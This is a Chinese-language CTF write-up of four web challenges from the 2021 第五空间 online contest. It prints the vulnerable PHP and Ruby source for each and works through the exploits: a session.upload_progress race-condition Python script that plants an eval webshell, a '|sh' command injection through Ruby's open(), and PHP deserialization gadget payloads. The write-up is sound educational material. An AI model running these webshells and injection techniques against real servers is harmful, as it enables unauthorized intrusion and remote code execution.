WP篇之2021第五空间线上赛(部分Web)

2021第五空间线上赛(部分Web)

昨天打了第五空间的比赛,虽然说环境是真的垃圾,居然还用的是静态靶机,一堆人在里面乱搞导致题目老是出问题;不过我觉得这次web题的质量还是不错的,难度比较合适,也能从中学到一些东西

1.EasyCleanup

image.png

这道题进去直接就是源码,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php

if(!isset($_GET['mode'])){
highlight_file(__file__);
}else if($_GET['mode'] == "eval"){
$shell = $_GET['shell'] ?? 'phpinfo();';
if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker");
eval($shell);
}


if(isset($_GET['file'])){
if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker");
include $_GET['file'];
}


function filter($var): bool{
$banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"];

foreach($banned as $ban){
if(strstr($var, $ban)) return True;
}

return False;
}

function checkNums($var): bool{
$alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$cnt = 0;
for($i = 0; $i < strlen($alphanum); $i++){
for($j = 0; $j < strlen($var); $j++){
if($var[$j] == $alphanum[$i]){
$cnt += 1;
if($cnt > 8) return True;
}
}
}
return False;
}

?>

这里看到存在文件包含而且参数可控,这种情况下基本上都可以用session.upload_progress直接一把梭哈;但这里前面都给了eval并且提示了phpinfo(),那我们就先看看phpinfo()中的内容嘛,看是不是满足条件竞争的要求:

image.png

发现没有问题,是符合的,而且这里很离谱的是,session.upload_progress.cleanup居然是Off,也就是说上传上去之后它甚至都不会自动清理,那我认为甚至都不用使用条件竞争了,直接发一次包应该就可以了,那我们就写一个表单然后用burp抓包来看看,具体的操作可以看我之前写过的博客

image.png

就这样上传上去,然后访问,看能不能成功

image.png

成功包含,那接下来就直接写马了啊,把内容改为<?php eval($_REQUEST[1]);?>

image.png

image.png

成功拿下,接下来我还是把条件竞争的脚本放出来,感觉那种才是常规方法哈哈哈哈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import io
import sys
import requests
import threading
host = 'http://114.115.134.72:32770/index.php'
sessid = 'la'
def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
host,
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php eval($_REQUEST[1]);echo md5('1');?>"},
files={"file":('a.txt', f)},
cookies={'PHPSESSID':sessid},
)

def READ(session):
while True:
response = session.get(f'{host}?file=/tmp/sess_{sessid}')
# print(response.text)
if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text:
print('[+++]retry')
else:
print(response.text)
break

with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()
READ(session)

2.WebFTP

image.png

进去之后发现是WebFTP2021的cms,那就先去找源码,成功找到源码:https://github.com/wifeat/WebFTP

然后可以看到它的初始管理员账号是admin,密码为admin888,但这道题明显是被改过了,显示密码错误,那我们就先把源码down下来,然后放到Seay源代码审计系统里面去看它,首先看看有没有eval,发现在这个mytz.php中发现了eval

image.png

再往下看,后面出现了phpinfo,那就先看看phpinfo,说不定flag就在里面,因为这eval也很难利用

image.png

发现的确如此,直接给它拿下了,这道题给我的启发就是以后也可以直接搜phpinfo试试

image.png

3.PNG图片转换器

这个题进去之后有两个选项,一个是上传图片,另一个是转换图片,先上传一个png上去试试,传上去了之后返回了文件名,然后放到转换图片的页面去转换,它就会将图片内容base64编码,好像暂时没什么思路,但这道题是给了源码的,先把源码下下来看看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
require 'sinatra'
require 'digest'
require 'base64'

get '/' do
open("./view/index.html", 'r').read()
end

get '/upload' do
open("./view/upload.html", 'r').read()
end

post '/upload' do
unless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png'
return "<script>alert('error');location.href='/upload';</script>"
end
begin
filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png'
open(filename, 'wb') { |f|
f.write open(params[:file][:tempfile],'r').read()
}
"Upload success, file stored at #{filename}"
rescue
'something wrong'
end

end

get '/convert' do
open("./view/convert.html", 'r').read()
end

post '/convert' do
begin
unless params['file']
return "<script>alert('error');location.href='/convert';</script>"
end

file = params['file']
unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
return "<script>alert('dont hack me');</script>"
end
res = open(file, 'r').read()
headers 'Content-Type' => "text/html; charset=utf-8"
"var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"
rescue
'something wrong'
end
end

好家伙,是用rb语言写的,这是真的头疼因为根本没学过这语言,只能尽力审一审,发现在convert中有问题:

image.png

我们可以试试先将命令写入图片中,然后在上传页面把图片传上去,最后在转换图片的页面convertsh来执行这个图片文件,执行命令的结果就会再写入图片中,然后它会返回图片内容,不就相当于返回了命令执行的结果了吗?当然这只是一个思路哈,也不一定成功,但在这种既有上传图片页面也有解析图片页面的时候就可以试试,接下来开始操作:

首先新建一个1.txt文件,里面内容为ls /,然后改名字为1.png,上传上去,先用burp抓个包:

image.png

得到文件名为bb4620fa4c0a596d1d7ac66632a48a29.png,然后在convert页面下解析这张图片,还是先抓个包:

image.png

可以看到我们的命令已经写进去了,接下来就是执行它,直接用sh就行,前面加一个|

image.png

base64解码出来是flag的名字是FLA9_VixNxtSRFfd8IoFlnNvv,那直接读它就拿下了

image.png

image.png

image.png

成功拿下,flag解码出来是flag{Tvauy36vE0Mwt9WYOZVOR3dlNT9JTiX4},这道题更多的是学到了一种新思路,也就是说即使把命令写在文件中它也是可以被执行的,在kali中我也试过,确实是没问题

4.pklovecloud

这道题进去后源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php  
include 'flag.php';
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}

class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new pkshow;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}

class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}

if (isset($_GET['pks']))
{
$logData = unserialize($_GET['pks']);
echo $logData;
}
else
{
highlight_file(__file__);
}
?>

分析源码,很明显是一个反序列化,反序列化的题一般都是从终点开始往上倒推,这道题的终点是return file_get_contents($file),然后$file这个文件存在就行,很明显应该给它赋值为flag.php,然后要满足$this->openstack->neutron === $this->openstack->nova就行,那么就需要让neutron的值和nova的值相等就行,然后再往上看它会将$this->docker反序列化,那么就应该先把acp类的对象序列化之后赋值给this -> docker,而让这个对象中的neutron属性和nova属性值相等,那我们就先构造这个:

1
2
3
4
5
6
7
8
9
10
<?php
class ace{
protected $cinder;
public $nova = '1';
public $neutron = '1';

}
$a = new ace();
echo urlencode(serialize($a));
?>

它的输出值为O%3A3%3A%22ace%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BN%3Bs%3A4%3A%22nova%22%3Bs%3A1%3A%221%22%3Bs%3A7%3A%22neutron%22%3Bs%3A1%3A%221%22%3B%7D

然后把它赋值给docker属性,再往上看acp类中的__toString()会调用echo_name(),然后我们让它调用的是ace类中的echo_name()就行了,构造如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php  
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new ace();
}
}

class ace
{
public $filename = 'flag.php';
public $openstack;
public $docker = 'O%3A3%3A%22ace%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BN%3Bs%3A4%3A%22nova%22%3Bs%3A1%3A%221%22%3Bs%3A7%3A%22neutron%22%3Bs%3A1%3A%221%22%3B%7D';
}
$a = new acp();
echo urlencode(serialize($a));
?>

输出值为:O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A147%3A%22O%253A3%253A%2522ace%2522%253A3%253A%257Bs%253A9%253A%2522%2500%252A%2500cinder%2522%253BN%253Bs%253A4%253A%2522nova%2522%253Bs%253A1%253A%25221%2522%253Bs%253A7%253A%2522neutron%2522%253Bs%253A1%253A%25221%2522%253B%257D%22%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D

直接去打就行了:

image.png

这样就出来了,终于出现了这个$heat,从头到尾我都不知道它是干啥的,迷惑人的东西

总结

还有一道sql注入是利用虚表登录上去,那道题我是真不会,太难了,过滤也很恶心,完全是骚操作哈哈哈,等会了再来总结,总体来看这次第五空间的比赛web题出的不算太难,但考点还是挺有趣的,也有一些新的骚操作,害我还是太菜了,争取下次比赛能多出几个题